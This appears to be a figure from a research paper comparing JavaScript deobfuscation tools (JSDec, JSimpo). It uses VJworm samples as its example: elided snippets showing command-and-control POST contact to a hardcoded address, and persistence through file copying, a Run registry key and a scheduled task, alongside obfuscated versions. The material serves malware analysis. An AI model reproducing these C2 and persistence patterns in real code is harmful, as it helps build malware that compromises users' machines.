

<pre>//VJw0rm Command-and-Control contact IServerXMLHTTPRequest2.open("POST",     "http://280.214.239.36:8050/Vre", false); IServerXMLHTTPRequest2.setRequestHeader("..."); IServerXMLHTTPRequest2.send();  //VJw0rm establishes persistency IWshShell3.ExpandEnvironmentStrings("%TEMP%"); IFileSystem3.copyFile(".../Desktop/1.js",     ".../AppData/local/1.js", "true"); IWshShell3.RegWrite(".../Windows/Version/Run/...",     ".../AppData/local/1.js", "Reg_SZ") IWshShell3.Run("Schtasks /create /sc /minute /mo 30...",     ".../AppData/local/1.js");</pre>	<pre>function _0x280e() {     ...//many lines } function _0x20c0(_0x5351f1, _0x4d0c85) {     ...//many lines } var _0xf6fcf8 = _0x20c0; (function(_0x1c3da7, _0x4a8c06) {     ...//many lines })(_0x280e, 0xd0ce4), IServerXMLHTTPRequest2[_0xf6fcf8(0x1a5)]     (_0xf6fcf8(0x1a3), _0xf6fcf8(0x193), ![]), ... //many functions</pre>	<pre>function mykhala() {     ...//many lines } function aldyth(sheray, evaluna) {     ...//many lines } var kikumi = aldyth; (function (mavie, ruwaida) {     var zayde = aldyth, kandi = mavie();     while (!![]) {         ...//many lines     } })(mykhala, 855268), IServerXMLHTTPRequest2[kikumi(421)]     (kikumi(419), kikumi(403), ![]), ... //many functions</pre>	<pre>IServerXMLHTTPRequest2.open("POST",     "http://280.214.239.36:8050/Vre", false); IServerXMLHTTPRequest2.setRequestHeader("..."); IServerXMLHTTPRequest2.send(); IWshShell3.ExpandEnvironmentStrings("%TEMP%"); IFileSystem3.copyFile(".../Desktop/1.js",     ".../AppData/local/1.js", "true"); IWshShell3.RegWrite(".../Windows/Version/Run/...",     ".../AppData/local/1.js", "Reg_SZ") IWshShell3.Run("Schtasks /create /sc /minute /mo 30...",     ".../AppData/local/1.js");</pre>
---	--	---	--

**Example Malware: VJworm**

**Obfuscated VJworm**

**Recovered By JSDec**

**Recovered By JSimpo**